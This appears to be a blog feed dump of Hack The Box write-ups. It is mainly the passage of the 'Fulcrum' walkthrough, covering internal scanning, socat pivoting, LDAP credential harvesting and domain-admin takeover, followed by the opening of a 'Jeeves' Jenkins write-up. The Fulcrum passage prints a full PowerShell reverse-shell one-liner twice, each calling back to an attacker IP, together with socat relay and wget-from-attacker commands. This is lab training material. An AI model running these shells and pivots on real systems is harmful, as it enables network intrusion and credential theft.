bytes:493632 (493.6 KB) TX bytes:1118993 (1.1 MB) vnet1 Link encap:Ethernet HWaddr fe:54:00:74:9d:17 inet6 addr: fe80::fc54:ff:fe74:9d17/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:53053 errors:0 dropped:0 overruns:0 frame:0 TX packets:61628 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:4059899 (4.0 MB) TX bytes:3048416 (3.0 MB) vnet2 Link encap:Ethernet HWaddr fe:54:00:32:59:e0 inet6 addr: fe80::fc54:ff:fe32:59e0/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:6321 errors:0 dropped:0 overruns:0 frame:0 TX packets:18278 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:599472 (599.4 KB) TX bytes:2537511 (2.5 MB) vnet3 Link encap:Ethernet HWaddr fe:54:00:82:69:f5 inet6 addr: fe80::fc54:ff:fe82:69f5/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:3146 errors:0 dropped:0 overruns:0 frame:0 TX packets:15213 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:244122 (244.1 KB) TX bytes:915975 (915.9 KB) vnet4 Link encap:Ethernet HWaddr fe:54:00:01:c6:b8 inet6 addr: fe80::fc54:ff:fe01:c6b8/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:7031 errors:0 dropped:0 overruns:0 frame:0 TX packets:17564 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1952435 (1.9 MB) TX bytes:1184340 (1.1 MB) vnet5 Link encap:Ethernet HWaddr fe:54:00:8f:b9:f9 inet6 addr: fe80::fc54:ff:fe8f:b9f9/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1821 errors:0 dropped:0 overruns:0 frame:0 TX packets:12593 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:289587 (289.5 KB) TX bytes:785970 (785.9 KB) web Link encap:Ethernet HWaddr 52:54:00:15:08:7e UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:583 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:65505 (65.5 KB) TX bytes:0 (0.0 B) To reduce our scope a bit, we can check the arp table, and see which machines that this machine has talked to recently. www-data@Fulcrum:~$ arp -a ? (10.10.10.2) at 00:50:56:aa:9c:8d [ether] on ens32 ? (192.168.122.228) at 52:54:00:74:9d:17 [ether] on virbr0 We see that there is a live host at 192.168.122.228. Our next step was to discover what ports were open on this machine. There are many ways to scan a machine when you are on someone’s internal network, but I prefer to drop a statically compiled version of nmap (and associated modules) if I have the ability to do so. It saves time, and I want to feel at home when I’m on someone’s box. www-data@Fulcrum:/tmp/.scan$ wget http://10.10.15.74:6666/nmap.tar.gz --2018-06-22 03:30:11-- http://10.10.15.74:6666/nmap.tar.gz Connecting to 10.10.15.74:6666... connected. HTTP request sent, awaiting response... 200 OK Length: 4875842 (4.6M) [application/gzip] Saving to: 'nmap.tar.gz' nmap.tar.gz 100%[===================&amp;gt;] 4.65M 1.04MB/s in 6.8s 2018-06-22 03:30:19 (705 KB/s) - 'nmap.tar.gz' saved [4875842/4875842] www-data@Fulcrum:/tmp/.scan$ clear TERM environment variable not set. www-data@Fulcrum:/tmp/.scan$ ls nmap.tar.gz www-data@Fulcrum:/tmp/.scan$ tar -xvf nmap.tar.gz ...[snip]... Downloading our statically compiled nmap www-data@Fulcrum:/tmp/.scan$ wget http://10.10.15.74:6666/nmapstatic --2018-06-22 03:36:28-- http://10.10.15.74:6666/nmapstatic Connecting to 10.10.15.74:6666... connected. HTTP request sent, awaiting response... 200 OK Length: 5944464 (5.7M) [application/octet-stream] Saving to: 'nmapstatic' nmapstatic 100%[===================&amp;gt;] 5.67M 576KB/s in 11s 2018-06-22 03:36:40 (506 KB/s) - 'nmapstatic' saved [5944464/5944464] To scanning with our statically compiled nmap, we use the --datadir option, with this we can portscan just like if we were doing it from our own box easily. www-data@Fulcrum:/tmp/.scan$ ./nmapstatic --datadir nmap/ -p- 192.168.122.228 Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-06-22 03:39 BST Nmap scan report for 192.168.122.228 Host is up (0.0022s latency). Not shown: 65532 filtered ports PORT STATE SERVICE 80/tcp open http 5986/tcp open wsmans 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 165.06 seconds Like we thought, there seems to be a windows host attached with Powershell remoteing enabled. Pivoting from Fulcrum Host to 192.168.122.x Network To use PSRemoteing from my host machine properly, we are going to need to setup a pivot. The general gist of what we need to accomplish can be expressed with this diagram. I’m going to use socat for a majority of this because it’s a tool I am very familiar with, and it’s pretty easy to use. Although you can achieve the same results, using Metasploit, ssh, or some other like-minded tool. We are going to listen for connections on port 55555 -&amp;gt; and relay that connection to 192.168.122.228 on port 5986 (PSRemoting port). on fulcrum machine (10.10.10.62) www-data@Fulcrum:/tmp/ ./socat tcp-listen:55555,reuseaddr,fork tcp:192.168.122.228:5986 on my kali box (192.168.30.130) What is this doing is that it’s going to listen for connections on port 5986 -&amp;gt; and relay that connection to 10.10.10.62 on port 55555. root@dastinia:~# socat tcp-listen:5986,reuseaddr,fork tcp:10.10.10.62:55555 Now from my (local) Windows 10 host we can connect to my Kali host (192.168.30.130), and it will relay that connection through our pivots to the network we are attempting to reach. We need the additional -SessionOption’s SkipCACheck -SkipCNCheck because you get two error messages stating that The SSL certificate is signed by an unknown certificate authority. &amp;amp; The SSL certificate contains a common name (CN) that does not match the hostname. PS C:\&amp;gt; Enter-PSSession -Computername 192.168.30.130 -Credential &quot;Webuser&quot; -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck) [192.168.30.130]: PS C:\Users\WebUser\Documents&amp;gt; $env:UserName WebUser [192.168.30.130]: PS C:\Users\WebUser\Documents&amp;gt; $env:UserDomain WEBSERVER Pivoting from WebServer to FileServer If you attempt to read the contents of the user flag, you get a message stating that You need to go deeper!. Inspecting the CheckFileServer.ps1 powershell script, we can see that they are hinting that most likely there is another host on the network. [192.168.30.130]: PS C:\Users\WebUser\Documents&amp;gt; dir Directory: C:\Users\WebUser\Documents Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/2/2017 8:39 PM 260 CheckFileServer.ps1 -a---- 10/12/2017 4:23 AM 33266 Invoke-PsExec.ps1 -a---- 10/2/2017 8:23 PM 24 user.txt [192.168.30.130]: PS C:\Users\WebUser\Documents&amp;gt; type .\user.txt You need to go deeper! [192.168.30.130]: PS C:\Users\WebUser\Documents&amp;gt; type .\CheckFileServer.ps1 $Server = '127.0.0.1' # Waiting on IT to give me the address... $Creds = Get-Credential -Message 'Please enter file server credentials' Get-CimClass -ClassName win32_operatingsystem -ComputerName $Server -Credential $Creds # TODO: can't get this to work Since the hostname of this system is “WebServer” we should probably inspect the contents of the webroot… Inspecting the contents of the web.config we find credentials which looks like it will allow us to run LDAP queries. [192.168.30.130]: PS C:\inetpub\wwwroot&amp;gt; dir Directory: C:\inetpub\wwwroot Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/2/2017 8:09 PM 5359 index.htm -a---- 10/2/2017 8:11 PM 1310 web.config [192.168.30.130]: PS C:\inetpub\wwwroot&amp;gt; type web.config &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt; &amp;lt;configuration xmlns=&quot;http://schemas.microsoft.com/.NetConfiguration/v2.0&quot;&amp;gt; &amp;lt;appSettings /&amp;gt; &amp;lt;connectionStrings&amp;gt; &amp;lt;add connectionString=&quot;LDAP://dc.fulcrum.local/OU=People,DC=fulcrum,DC=local&quot; name=&quot;ADServices&quot; /&amp;gt; &amp;lt;/connectionStrings&amp;gt; &amp;lt;system.web&amp;gt; &amp;lt;membership defaultProvider=&quot;ADProvider&quot;&amp;gt; &amp;lt;providers&amp;gt; &amp;lt;add name=&quot;ADProvider&quot; type=&quot;System.Web.Security.ActiveDirectoryMembershipProvider, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&quot; connectionStringName=&quot;ADConnString&quot; connectionUsername=&quot;FULCRUM\LDAP&quot; connectionPassword=&quot;PasswordForSearching123!&quot; attributeMapUsername=&quot;SAMAccountName&quot; /&amp;gt; &amp;lt;/providers&amp;gt; &amp;lt;/membership&amp;gt; &amp;lt;/system.web&amp;gt; ...[snip]... [192.168.30.130]: PS C:\inetpub\wwwroot&amp;gt; Querying LDAP for Information At the time, I didn’t bother writing a proper ldap queries, so I did the un-elegant method of just running an ldap query for absolutely every object/filter, and manually inspecting it for interesting information. Querying LDAP in Powershell $username = 'LDAP' $password = 'PasswordForSearching123!' $DomainControllerIpAddress = 'dc.fulcrum.local' $LdapDn = 'dc=fulcrum,dc=local' $dn = New-Object System.DirectoryServices.DirectoryEntry (&quot;LDAP://$($DomainControllerIpAddress):389/$LdapDn&quot;,$username,$password) $ds = new-object System.DirectoryServices.DirectorySearcher($dn) $ds.filter = &quot;((ObjectClass=*))&quot; $ds.SearchScope = &quot;subtree&quot; $ds.PropertiesToLoad.Add(&quot;distinguishedName&quot;) $ds.PropertiesToLoad.Add(&quot;sAMAccountName&quot;) $ds.PropertiesToLoad.Add(&quot;lastLogon&quot;) $ds.PropertiesToLoad.Add(&quot;memberOf&quot;) $ds.PropertiesToLoad.Add(&quot;distinguishedname&quot;) $ds.FindAll() Output: ...[snip]... LDAP://dc.fulcrum.local:389/CN=FILE,CN=Computers,DC=fulcrum,DC=local {distinguishedname, samaccountname, adspath, lastlogon} LDAP://dc.fulcrum.local:389/CN=Bobby Tables,OU=People,DC=fulcrum,DC=local {distinguishedname, samaccountname, adspath, lastlogon} LDAP://dc.fulcrum.local:389/OU=People,DC=fulcrum,DC=local {distinguishedname, adspath} LDAP://dc.fulcrum.local:389/CN=LDAP Lookup,OU=People,DC=fulcrum,DC=local {distinguishedname, samaccountname, adspath, lastlogon} LDAP://dc.fulcrum.local:389/CN=be36,OU=People,DC=fulcrum,DC=local {memberof, distinguishedname, samaccountname, adspath...} LDAP://dc.fulcrum.local:389/CN=8631,OU=People,DC=fulcrum,DC=local {memberof, distinguishedname, samaccountname, adspath...} LDAP://dc.fulcrum.local:389/CN=9791,OU=People,DC=fulcrum,DC=local {memberof, distinguishedname, samaccountname, adspath...} LDAP://dc.fulcrum.local:389/CN=879f,OU=People,DC=fulcrum,DC=local {memberof, distinguishedname, samaccountname, adspath...} LDAP://dc.fulcrum.local:389/CN=953d,OU=People,DC=fulcrum,DC=local {memberof, distinguishedname, samaccountname, adspath...} LDAP://dc.fulcrum.local:389/CN=81b2,OU=People,DC=fulcrum,DC=local {memberof, distinguishedname, samaccountname, adspath...} LDAP://dc.fulcrum.local:389/CN=97f0,OU=People,DC=fulcrum,DC=local {memberof, distinguishedname, samaccountname, adspath...} From the output of our LDAP query we can see some interesting objects, include the name of the fileserver: file.fulcrum.local , and a user different from the rest of the users “Bobby Tables”. We can run a more filtered query on the common name (CN) “bobby”, and we can now include all the properties mapped to this object. $username = 'LDAP' $password = 'PasswordForSearching123!' $DomainControllerIpAddress = 'dc.fulcrum.local' $LdapDn = 'dc=fulcrum,dc=local' $dn = New-Object System.DirectoryServices.DirectoryEntry (&quot;LDAP://$($DomainControllerIpAddress):389/$LdapDn&quot;,$username,$password) $ds = new-object System.DirectoryServices.DirectorySearcher($dn) $ds.filter = &quot;((cn=bobby*))&quot; $ds.SearchScope = &quot;subtree&quot; $ds.PropertiesToLoad.Add(&quot;*&quot;) $data = $ds.FindAll() $data.Properties Doing so gives us the following output… Name Value ---- ----- logoncount {18} codepage {0} objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=fulcrum,DC=local} description {Has logon rights to the file server} usnchanged {143447} instancetype {4} name {Bobby Tables} badpasswordtime {131522885566857829} pwdlastset {131514417841217344} objectclass {top, person, organizationalPerson, user} badpwdcount {0} samaccounttype {805306368} lastlogontimestamp {131556801131693417} usncreated {12878} objectguid {88 53 29 79 114 147 100 75 187 41 125 239 148 113 13 111} info {Password set to ++FileServerLogon12345++} whencreated {10/2/2017 6:06:57 PM} adspath {LDAP://dc.fulcrum.local:389/CN=Bobby Tables,OU=People,DC=fulcrum,DC=local} useraccountcontrol {66048} cn {Bobby Tables} countrycode {0} primarygroupid {513} whenchanged {11/20/2017 7:35:13 PM} dscorepropagationdata {10/2/2017 6:09:28 PM, 10/2/2017 6:06:57 PM, 1/1/1601 12:00:00 AM} lastlogon {131556801131693417} distinguishedname {CN=Bobby Tables,OU=People,DC=fulcrum,DC=local} samaccountname {BTables} objectsid {1 5 0 0 0 0 0 5 21 0 0 0 70 111 187 188 76 255 138 170 168 71 215 161 80 4 0 0} lastlogoff {0} displayname {Bobby Tables} accountexpires {9223372036854775807} userprincipalname {BTables@fulcrum.local} It seems that we might we have might discovered Bobby Tables credentials, and from the “description” he should have logon rights to the file server (file.fulcrum.local). Pivoting to file.fulcrum.local with Nishang Trying to enter another Powershell Remoting sessions gives us an error stating we can’t do multi-hop PSRemoting Sessions. We also don’t have permissions to enable multi-session PSRemoting unfortunately because we aren’t administrators. [192.168.30.130]: PS C:\Users\WebUser\Documents&amp;gt; Enter-PSSession -Computername file.fulcrum.local -Credential fulcrum.local\btables Enter-PSSession : You are currently in a Windows PowerShell PSSession and cannot use the Enter-PSSession cmdlet to enter another PSSession. + CategoryInfo : InvalidArgument: (:) [Enter-PSSession], ArgumentException + FullyQualifiedErrorId : RemoteHostDoesNotSupportPushRunspace,Microsoft.PowerShell.Commands.EnterPSSessionCommand [192.168.30.130]: PS C:\Users\WebUser\Documents&amp;gt; Enable-WSManCredSSP –Role Client –DelegateComputer spoke Access is denied. You need to run this cmdlet from an elevated process. + CategoryInfo : NotSpecified: (:) [Enable-WSManCredSSP], InvalidOperationException + FullyQualifiedErrorId : System.InvalidOperationException,Microsoft.WSMan.Management.EnableWSManCredSSPCommand We are able to call backout to the htb vpn ip space so we can use powershell invoke-command to execute commands on the box. We can get a reverse shell copy-pasta’ing “Nishangs Invoke-PowershellTcpOneLine” Invoke-Command on file.fulcrum.local Invoke-Command -ComputerName file.fulcrum.local -Credential fulcrum.local\btables -Port 5985 -ScriptBlock { $client = New-Object System.Net.Sockets.TCPClient('10.10.15.74',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '&amp;gt; ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() } getting shell root@dastinia:~# ncat -lnvp 53 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::53 Ncat: Listening on 0.0.0.0:53 Ncat: Connection from 10.10.10.62. Ncat: Connection from 10.10.10.62:12873. whoami fulcrum\btables PS C:\Users\BTables\Documents&amp;gt; getting user flag PS C:\Users\BTables\Desktop&amp;gt; dir Directory: C:\Users\BTables\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/4/2017 10:12 PM 34 user.txt PS C:\Users\BTables\Desktop&amp;gt; type user.txt ...[snip]... Pivoting to Domain Controller (dc.fulcrum.local) Exploring the system you discover a myriad of files of which the contents of domain_users.csv appears to be a list of username, and passwords for various domain users. PS C:\Users\BTables&amp;gt; dir Directory: C:\Users\BTables Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 10/4/2017 10:12 PM Desktop d-r--- 10/9/2017 8:22 PM Documents d-r--- 7/16/2016 2:18 PM Downloads d-r--- 7/16/2016 2:18 PM Favorites d-r--- 7/16/2016 2:18 PM Links d-r--- 7/16/2016 2:18 PM Music d-r--- 7/16/2016 2:18 PM Pictures d----- 7/16/2016 2:18 PM Saved Games d-r--- 7/16/2016 2:18 PM Videos -a---- 10/12/2017 8:09 PM 5502 check-auth.ps1 -a---- 10/12/2017 7:48 PM 45011 domain_users.csv -a---- 10/12/2017 7:21 PM 21002 file.txt -a---- 10/12/2017 7:21 PM 21002 file2.txt -a---- 10/12/2017 7:48 PM 45011 merged.txt -a---- 10/12/2017 7:43 PM 90002 merged2.txt -a---- 10/12/2017 7:39 PM 21002 Output.txt -a---- 10/12/2017 7:23 PM 75002 pass.txt -a---- 10/12/2017 7:23 PM 75002 pass2.txt -a---- 10/12/2017 9:16 PM 21000 result.txt -a---- 10/12/2017 9:04 PM 42 test.csv -a---- 10/12/2017 7:14 PM 18002 users.txt -a---- 10/12/2017 7:22 PM 0 wordlist.txt contents of “domain_users.csv” ...[snip]... a7e6,@fulcrum_e9f86a021507_$ 9cea,@fulcrum_1eee5eabb089_$ 9e92,@fulcrum_efecb22c5b82_$ 8d25,@fulcrum_70e0e02bd594_$ 9923,@fulcrum_17f672dfcc78_$ b0b6,@fulcrum_7a5f2af5237e_$ 9e2a,@fulcrum_acd5008a3f9d_$ a700,@fulcrum_47ff4e46a43f_$ b473,@fulcrum_110bf7e71ecd_$ 984a,@fulcrum_d254c73f8dab_$ I forgot to mention, but from our either enumeration we could have discovered what users are in the domain admins by querying ldap. I forgot to gather the exact query I used, but to give an baseline idea of what the ldap query structure would have looked like: (&amp;amp;(objectCategory=user)(memberOf=CN=Domain Admins,CN=People,DC=fulcrum,dc=local)), but either way, by bruteforcing the credentials with a script, or querying LDAP you would discover that the user 932a is in the domain administrators group. PS C:\Users\BTables&amp;gt; type domain_users.csv | findstr &quot;923a&quot; 9f68,@fulcrum_df0923a7ca40_$ 923a,@fulcrum_bf392748ef4e_$ getting shell on the domain controller dc.fulcrum.local Invoke-Command -ComputerName dc.fulcrum.local -Credential 923a -Port 5985 -ScriptBlock { $client = New-Object System.Net.Sockets.TCPClient('10.10.15.74',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '&amp;gt; ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() } root@dastinia:~# nc -lnvp 53 listening on [any] 53 ... connect to [10.10.15.74] from (UNKNOWN) [10.10.10.62] 1559 PS C:\Users\923a\Documents&amp;gt; whoami fulcrum\923a PS C:\Users\923a\Documents&amp;gt;whoami /groups GROUP INFORMATION ----------------- Group Name Type SID Attributes ============================================== ================ ============================================= =============================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group FULCRUM\Domain Admins Group S-1-5-21-3166400326-2861236044-2715240360-512 Mandatory group, Enabled by default, Enabled group Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group FULCRUM\Denied RODC Password Replication Group Alias S-1-5-21-3166400326-2861236044-2715240360-572 Mandatory group, Enabled by default, Enabled group, Local Group Mandatory Label\High Mandatory Level Label S-1-16-12288 PS C:\Users\923a&amp;gt; Box finally complete :) PS C:\Users\Administrator\Desktop&amp;gt; type root.txt ...[snip]...</summary></entry><entry><title type="html">Hack the Box - Jeeves Write up</title><link href="https://dastinia.io/write-up/hackthebox/2018/05/19/hackthebox-jeeves-writeup/" rel="alternate" type="text/html" title="Hack the Box - Jeeves Write up" /><published>2018-05-19T00:00:00-04:00</published><updated>2018-05-19T00:00:00-04:00</updated><id>https://dastinia.io/write-up/hackthebox/2018/05/19/hackthebox-jeeves-writeup</id><content type="html" xml:base="https://dastinia.io/write-up/hackthebox/2018/05/19/hackthebox-jeeves-writeup/">&lt;h2 id=&quot;intro&quot;&gt;Intro&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/jeeves/1.png&quot; alt=&quot;&amp;quot;Jeeves&amp;quot;&quot; title=&quot;Jeeves&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I honestly had a whole lot of fun with Jeeves. It had multiple ways of attacking/rooting it, while also being a very &lt;em&gt;realistic&lt;/em&gt; example of something that you would see the real world. It wasn’t an extremely difficult box, but you definitely had to do a little research to be successful in successfully rooting it. Definitely adding &lt;code class=&quot;highlighter-rouge&quot;&gt;Jeeves&lt;/code&gt; to my list of HTB favorites.&lt;/p&gt;

&lt;h2 id=&quot;tools-used&quot;&gt;Tools Used&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nmap.org/&quot;&gt;Nmap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Web Browser&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nmap.org/ncat/&quot;&gt;Ncat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project&quot;&gt;Dirbuster&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/rapid7/metasploit-framework&quot;&gt;Metasploit Framework&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Powershell&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/GDSSecurity/Windows-Exploit-Suggester&quot;&gt;GDSecurity Windows Privesc Suggester&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/byt3bl33d3r/CrackMapExec&quot;&gt;CrackMapExec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.openwall.com/john/&quot;&gt;John the Ripper&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;
&lt;h3 id=&quot;inital-scanning&quot;&gt;Inital Scanning&lt;/h3&gt;

&lt;p&gt;Like with every box lets start off with an nmap scan on &lt;code class=&quot;highlighter-rouge&quot;&gt;Jeeves&lt;/code&gt;(10.10.10.63)…&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/jeeves# nmap -T4 -sC -sV -n 10.10.10.63 -oA jeeves_initial_scan
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-16 08:57 EDT
Nmap scan report for 10.10.10.63
Host is up (0.15s latency).
Not shown: 996 filtered ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m59s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2018-05-16 13:58:08
|_  start_date: 2018-05-16 11:17:53

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.30 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Small Note: IF you aren’t extremely familiar with windows you can usually tell what version of Windows is running by the version of &lt;a href=&quot;https://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions#Features&quot;&gt;IIS&lt;/a&gt; that’s being displayed. As you can see it’s &lt;code class=&quot;highlighter-rouge&quot;&gt;Microsoft IIS httpd 10.0&lt;/code&gt; which means that this version of windows is likely &lt;code class=&quot;highlighter-rouge&quot;&gt;Windows Server 2016&lt;/code&gt; or &lt;code class=&quot;highlighter-rouge&quot;&gt;Windows 10&lt;/code&gt;. It’s not 100% conclusive, but you can get an idea of what you are working with.&lt;/p&gt;

&lt;p&gt;A full port scan was ran in the background, but no additional ports/services were discovered.&lt;/p&gt;

&lt;h3 id=&quot;enumerating-port-80&quot;&gt;Enumerating Port 80&lt;/h3&gt;

&lt;p&gt;Visiting the webserver on port 80 gives us this throwback to the past with an &lt;code class=&quot;highlighter-rouge&quot;&gt;ask jeeves&lt;/code&gt; search engine webpage.
&lt;img src=&quot;https://dastinia.io/assets/images/htb/jeeves/2.png&quot; alt=&quot;Ask Jeeves Search Engine&quot; title=&quot;Ask Jeeves Search Engine&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There’s a search bar so I input all specicial charaters to see how the “application” parses it…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/jeeves/3.png&quot; alt=&quot;Fake Error Page Image&quot; title=&quot;Fake Error Page Image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You are presented with the fake &lt;em&gt;“error page”&lt;/em&gt; above, which is just an image of an error page.&lt;/p&gt;

&lt;h3 id=&quot;enumerating-port-50000-jettyjenkins&quot;&gt;Enumerating Port 50000 (Jetty/Jenkins)&lt;/h3&gt;
&lt;p&gt;Visting the application on port 50000 in a Web browers leads us to a &lt;em&gt;Jetty 404 Error&lt;/em&gt; page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/jeeves/4.png&quot; alt=&quot;Jetty Error Page&quot; title=&quot;Jetty Error Page&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Whenever I encounter an application that error message that looks fairly unique, I always copy &amp;amp; paste the error message into Google and see what happens. This technique is very underrated, google that shit.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/jeeves/5.png&quot; alt=&quot;Google that Shit&quot; title=&quot;Google that Shit&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We are seeing quite a few results for Jenkins, so there is a high probability that this server is running Jenkins as a service, and now we just have to discover it.&lt;/p&gt;

&lt;h4 id=&quot;dirbuster&quot;&gt;Dirbuster&lt;/h4&gt;

&lt;p&gt;Next step is to dirbuster everything to discover the jenkins dashboard path. I always use the &lt;code class=&quot;highlighter-rouge&quot;&gt;directory-list-2.3-medium.txt&lt;/code&gt; which comes default in kali for most HTB boxes.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/jeeves/6.png&quot; alt=&quot;Dirbuster&quot; title=&quot;Dirbuster&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Wed May 16 09:48:14 EDT 2018
--------------------------------

http://10.10.10.63:50000
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/askjeeves/
/askjeeves/people/
/askjeeves/about/
/askjeeves/log/
/askjeeves/computer/
/askjeeves/api/
/askjeeves/log/rss/
/askjeeves/api/xml/
/askjeeves/people/api/
/askjeeves/script/
/askjeeves/api/python/
/askjeeves/people/api/xml/
.... [TRUNCATED] ....
--------------------------------

&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;It looks like &lt;code class=&quot;highlighter-rouge&quot;&gt;/askjeves/&lt;/code&gt; seems to be the correct path for the Jenkins main dashboard, confirming our suspicions that Jenkins is the running service. 
&lt;img src=&quot;https://i.imgur.com/uC2bI92.png&quot; alt=&quot;Jenkins Dashboard&quot; title=&quot;Jenkins Dashboard&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;
&lt;h3 id=&quot;exploiting-jenkins&quot;&gt;Exploiting Jenkins&lt;/h3&gt;

&lt;p&gt;Jenkins is pretty much code execution as a service, so exploiting it shouldn’t be too much of a hassle. There are a few ways to shell this box so I’ll try and cover the main paths. This particular jenkins server didn’t require authentication to do actions against it which is a pretty big (but common) misconfiguration.&lt;/p&gt;

&lt;h4 id=&quot;method-1-jenkins-script-console&quot;&gt;Method 1: Jenkins Script Console&lt;/h4&gt;

&lt;p&gt;Jenkins has a scripting console, which you can access by going to &lt;code class=&quot;highlighter-rouge&quot;&gt;Manage Jenkins&lt;/code&gt; =&amp;gt; &lt;code class=&quot;highlighter-rouge&quot;&gt;Script Console&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/xj7w5jO.png&quot; alt=&quot;Jenkins Script Console&quot; title=&quot;Jenkins Script Console&quot; /&gt;&lt;/p&gt;

